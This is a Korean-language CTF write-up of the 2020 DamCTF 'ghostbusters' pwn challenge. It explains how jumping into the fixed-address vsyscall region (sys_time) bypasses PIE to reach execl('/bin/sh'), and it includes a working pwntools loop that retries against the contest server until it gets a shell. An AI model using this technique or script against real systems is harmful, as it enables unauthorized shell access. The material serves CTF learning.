tmxklab

2020 DamCTF - ghostbusters(pwn) 본문

CTF 문제

2020 DamCTF - ghostbusters(pwn)

tmxk4221 2020. 10. 15. 21:16

사실 이 문제는 PIE도 걸려있는데 어떤 주소를 참조해야할 지 몰라서 못 풀었던 문제이다. 대회가 끝나고 다른 사람의 롸업을 보고 정리해야할 필요성이 있어 작성하게 되었다. 해당 문제는 vsyscall영역을 이용하여 익스한다.


1. 문제확인

 

어떤 것을 call할 것인지 물어보고 입력을 받으면 segmentaton fault가 발생하면서 종료됨

 

 

1) mitigation 확인

 

 

2-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // edx
  void (*call)(void); // [rsp+8h] [rbp-20h]
  __int64 v7; // [rsp+10h] [rbp-18h]
  unsigned __int64 v8; // [rsp+18h] [rbp-10h]

  v8 = __readfsqword(0x28u);
  v7 = 0LL;
  puts("Who you gonna call?");
  v3 = __isoc99_scanf("%p", &call);
  v4 = 1;
  if ( v3 == 1 )
  {
    LOBYTE(v7) = 'n';
    if ( call )
      call();
    if ( (_BYTE)v7 == 'n' )
    {
      puts("I ain't afraid of no ghost!");
      v4 = 0;
    }
    else
    {
      if ( (_BYTE)v7 == 'y' )
        execl("/bin/sh", "sh", 0LL);
      v4 = 0;
    }
  }
  return v4;
}

call에 scanf()를 통해 입력을 받고 call에 값이 존재하면 call을 호출한다. 이후에 v7에 값이 'y'이면 execl("/bin/sh", "sh", 0)을 실행한다.

 


2. 문제풀이

PIE가 걸려있기 때문에 코드 영역이 랜덤하게 바뀌므로 어떤 주소를 넣어야 할 지 모른다. 하지만, ASLR, PIE와 같은 랜덤화 기법이 적용되어도 항상 고정적인 주소를 갖는 영역으로 vsyscall영역이 존재한다.

 

[ vsyscall ]

vsyscall영역은 syscall을 통해 발생되는 오버헤드를 줄이기 위해 유저 영역에 할당된 커널 영역이다. syscall을 하게 되면 유저 모드에서 커널 모드로 Context Switching이 발생하게 된다. 매번 syscall을 하게 되어 자주 Context Switching이 발생되면 Overhead가 커지게 되므로 이러한 문제를 해결하기 위해

간단한 syscall은 유저 모드에서 처리하도록 vsyscall영역을 할당한다.

그러나 vsyscall영역이 모든 프로세스에 고정적인 주소로 할당되는 이유로 보안에서 문제가 발생하므로 이러한 문제를

해결하기 위해 vDSO(virtual Dynamic Shared Object)영역이 vsyscall영역을 대신하게 된다.

 

참고 자료 : https://umbum.dev/61

 

 

다시 돌아와서 main함수 코드를 살펴보면

scanf로 call변수에 입력을 받으면 v7에 'n'값을 넣고 call을 호출하고 v7변수의 값을 비교한다. 하지만, v7에 이미 'n'으로 값이 초기화되어 있는데 어떻게 v7을 'y'로 바꿀 것인지 의문이 들 것이다.

 

 

다음 코드영역을 살펴보자

call rdx를 수행하고 수행한 결과를 eax에 세팅한다. 이후에 al레지스터에 들어있는 값과 'n' 또는 'y'와 비교를 수행한다.

따라서, vsyscall영역에 어떠한 syscall을 수행하고 수행한 결과가 rax에 0x79(y)로 저장되면 execl()을 수행할 수 있을 것이다.

 

vsyscall영역에 어떠한 것들이 들어있는지 확인해보자

→ 0xffffffffff600000 : sys_gettimeofday

 

→ 0xffffffffff600400 : sys_time

 

→ 0xffffffffff600800 : sys_getcpu

 

 

 

총 3개의 syscall을 확인할 수 있다. 그리고 해당 주소를 입력하여 실행시켜보면 0xffffffffff600400(sys_time)주소를 제외하고 나머지 2개는 Segmentation Fault가 발생한다.

 

[ call 0xffffffffff600000 ] - sys_gettimeofday

-> segmentation fault

 

[ call 0xffffffffff600800 ] - sys_getcpu

-> segmentation fault

 

[ call 0xffffffffff600400 ] - sys_time

syscall을 수행하고 rax값이 0x99로 변한 것을 확인할 수 있다.

 

sys_time의 return 값은 현재 시간이므로 값이 계속 변한다. 그래서 시간을 계산해서 return 값이 0x79로 나오도록 맞추거나 아니면 걍 간단하게 while루프 돌려서 맞출때 까지 돌리면 된다.

 

 

익스 코드)

from pwn import *

context.log_level = "debug"

#gdb.attach(p)

vsyscall = "0xffffffffff600400"

while True:

    #p = process("./ghostbusters")
    p = remote("chals.damctf.xyz", 32556)

    p.sendlineafter("call?", vsyscall)
    
    try:
        p.sendline('id')
        print(p.recv())
        p.interactive()
        p.close()
    except:
        p.close()

    sleep(1)

 

 

실행 결과)

Comments